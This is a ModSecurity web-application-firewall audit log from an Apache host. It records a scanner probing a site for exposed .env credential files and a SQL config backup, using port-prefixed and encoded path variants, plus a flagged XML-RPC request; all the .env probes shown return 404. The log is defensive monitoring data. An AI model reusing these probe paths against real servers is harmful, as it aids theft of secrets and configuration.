--0295631d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/wp-content/.env"] [unique_id "aE9cltVsbyFDndheOrkwOQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031510821580 688279 (- - -) Stopwatch2: 1750031510821580 688279; combined=2175, p1=463, p2=1613, p3=0, p4=0, p5=99, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0295631d-Z-- --f391b44c-A-- [16/Jun/2025:05:21:54.761478 +0530] aE9cmlEBvmqd8j7Fed2ndQAAABM 185.177.72.210 38830 127.0.0.1 7081 --f391b44c-B-- GET /:9000/system/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f391b44c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2d4dc84082c806596cd797f1af5a065b1750031514; expires=Mon, 16 Jun 2025 00:51:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f391b44c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/system/.env"] [unique_id "aE9cmlEBvmqd8j7Fed2ndQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031514060679 700863 (- - -) Stopwatch2: 1750031514060679 700863; combined=1663, p1=362, p2=1204, p3=0, p4=0, p5=96, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f391b44c-Z-- --1a09655a-A-- [16/Jun/2025:05:21:55.794687 +0530] aE9cm9VsbyFDndheOrkwOwAAAAE 185.177.72.210 38874 127.0.0.1 7081 --1a09655a-B-- GET /:8888/protokolle/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1a09655a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e4b0d7368ac67e336c4172fe68263421750031515; expires=Mon, 16 Jun 2025 00:51:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1a09655a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/protokolle/.env"] [unique_id "aE9cm9VsbyFDndheOrkwOwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031515119437 675332 (- - -) Stopwatch2: 1750031515119437 675332; combined=1861, p1=358, p2=1397, p3=0, p4=0, p5=105, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1a09655a-Z-- --fd6b9051-A-- [16/Jun/2025:05:22:10.270793 +0530] aE9cqa9aeHfzqoyJ7PMfIgAAABY 185.177.72.210 39376 127.0.0.1 7081 --fd6b9051-B-- GET /:5000/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fd6b9051-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c1cf8d03e903ee3140464e01bed810b61750031530; expires=Mon, 16 Jun 2025 00:52:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fd6b9051-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env_1"] [unique_id "aE9cqa9aeHfzqoyJ7PMfIgAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031529572869 697986 (- - -) Stopwatch2: 1750031529572869 697986; combined=1978, p1=376, p2=1510, p3=0, p4=0, p5=91, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fd6b9051-Z-- --f0943924-A-- [16/Jun/2025:05:22:12.239992 +0530] aE9cq6pdvXW4_hknQUUwbAAAAAo 128.199.112.101 39452 127.0.0.1 7081 --f0943924-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f0943924-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f0943924-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9cq6pdvXW4_hknQUUwbAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031531204260 1035790 (- - -) Stopwatch2: 1750031531204260 1035790; combined=2602, p1=507, p2=1663, p3=44, p4=67, p5=203, sr=145, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0943924-Z-- --a4e81465-A-- [16/Jun/2025:05:22:12.327518 +0530] aE9cq_bo0R64L12N_alQFAAAAAQ 185.177.72.210 39462 127.0.0.1 7081 --a4e81465-B-- GET /bak/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a4e81465-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a044a646f2b08fd0a0f1f452540da9e11750031532; expires=Mon, 16 Jun 2025 00:52:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a4e81465-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bak/config_backup.sql"] [unique_id "aE9cq_bo0R64L12N_alQFAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031531650895 676686 (- - -) Stopwatch2: 1750031531650895 676686; combined=1970, p1=307, p2=1564, p3=0, p4=0, p5=99, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4e81465-Z-- --24176f64-A-- [16/Jun/2025:05:22:15.026980 +0530] aE9crlEBvmqd8j7Fed2ngAAAABM 185.177.72.210 39582 127.0.0.1 7081 --24176f64-B-- GET /:9000/base/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24176f64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3456b647d5c179709b095d39ac43495e1750031534; expires=Mon, 16 Jun 2025 00:52:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24176f64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/base/.env"] [unique_id "aE9crlEBvmqd8j7Fed2ngAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031534348197 678878 (- - -) Stopwatch2: 1750031534348197 678878; combined=1953, p1=395, p2=1467, p3=0, p4=0, p5=90, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24176f64-Z-- --fdd95d63-A-- [16/Jun/2025:05:22:19.133271 +0530] aE9csq9aeHfzqoyJ7PMfKAAAABY 185.177.72.210 39956 127.0.0.1 7081 --fdd95d63-B-- GET /new/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fdd95d63-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=16b8d0e642ce5683633aa8270fcbe4611750031538; expires=Mon, 16 Jun 2025 00:52:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fdd95d63-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/new/.env.production"] [unique_id "aE9csq9aeHfzqoyJ7PMfKAAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031538463292 670047 (- - -) Stopwatch2: 1750031538463292 670047; combined=1644, p1=352, p2=1201, p3=0, p4=0, p5=91, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fdd95d63-Z-- --4d1f5e01-A-- [16/Jun/2025:05:22:21.356083 +0530] aE9ctK9aeHfzqoyJ7PMfKQAAABY 185.177.72.210 48440 127.0.0.1 7081 --4d1f5e01-B-- GET /:5000/api/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4d1f5e01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fdace51ae7060885329aeef7273766971750031541; expires=Mon, 16 Jun 2025 00:52:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4d1f5e01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/api/.env.production"] [unique_id "aE9ctK9aeHfzqoyJ7PMfKQAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031540619111 737036 (- - -) Stopwatch2: 1750031540619111 737036; combined=1883, p1=390, p2=1380, p3=0, p4=0, p5=112, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d1f5e01-Z-- --0333a45d-A-- [16/Jun/2025:05:22:23.558549 +0530] aE9ctg9THibLN0xLxETrZAAAAAk 185.177.72.210 48558 127.0.0.1 7081 --0333a45d-B-- GET /:8181/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0333a45d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ad7b4640bcdba70880ec59e883c19411750031543; expires=Mon, 16 Jun 2025 00:52:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0333a45d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/api/.env"] [unique_id "aE9ctg9THibLN0xLxETrZAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031542891784 666839 (- - -) Stopwatch2: 1750031542891784 666839; combined=1723, p1=375, p2=1258, p3=0, p4=0, p5=89, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0333a45d-Z-- --9520e57b-A-- [16/Jun/2025:05:22:45.826433 +0530] aE9czQ9THibLN0xLxETrcgAAAAk 185.177.72.210 47678 127.0.0.1 7081 --9520e57b-B-- GET /:8443/public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9520e57b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2f44738a62466284dda304536ac0b33e1750031565; expires=Mon, 16 Jun 2025 00:52:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9520e57b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/public/.env"] [unique_id "aE9czQ9THibLN0xLxETrcgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031565168153 658345 (- - -) Stopwatch2: 1750031565168153 658345; combined=2027, p1=421, p2=1504, p3=0, p4=0, p5=101, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9520e57b-Z-- --f957d77e-A-- [16/Jun/2025:05:22:48.799440 +0530] aE9c0NNEcm-DhAkC0ibXqgAAAAY 185.177.72.210 47808 127.0.0.1 7081 --f957d77e-B-- GET /.env.%E3%83%86%E3%82%B9%E3%83%88 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f957d77e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=05a1179b54fbe5e86dd76ad6081ac2d21750031568; expires=Mon, 16 Jun 2025 00:52:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f957d77e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.%E3%83%86%E3%82%B9%E3%83%88"] [unique_id "aE9c0NNEcm-DhAkC0ibXqgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031568101370 698143 (- - -) Stopwatch2: 1750031568101370 698143; combined=1883, p1=390, p2=1394, p3=0, p4=0, p5=99, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f957d77e-Z-- --d661d322-A-- [16/Jun/2025:05:22:49.767796 +0530] aE9c0VEBvmqd8j7Fed2nlwAAABM 185.177.72.210 47854 127.0.0.1 7081 --d661d322-B-- GET /:8443/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d661d322-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c996f5de7129483c966d69dfd37c0cc1750031569; expires=Mon, 16 Jun 2025 00:52:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d661d322-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/frontend/.env"] [unique_id "aE9c0VEBvmqd8j7Fed2nlwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031569117167 650691 (- - -) Stopwatch2: 1750031569117167 650691; combined=1976, p1=377, p2=1502, p3=0, p4=0, p5=97, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d661d322-Z-- --b9745860-A-- [16/Jun/2025:05:22:57.580787 +0530] aE9c2D_3U3BzRxhKqekk4wAAAAM 185.177.72.210 34916 127.0.0.1 7081 --b9745860-B-- GET /.env.デバッグ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b9745860-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=beb4db483ec30cef55f88f9efe25d8ce1750031577; expires=Mon, 16 Jun 2025 00:52:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b9745860-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe3\\\\x83\\\\x87\\\\xe3\\\\x83\\\\x90\\\\xe3\\\\x83\\\\x83\\\\xe3\\\\x82\\\\xb0"] [unique_id "aE9c2D_3U3BzRxhKqekk4wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031576883848 697014 (- - -) Stopwatch2: 1750031576883848 697014; combined=2080, p1=499, p2=1475, p3=0, p4=0, p5=106, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" 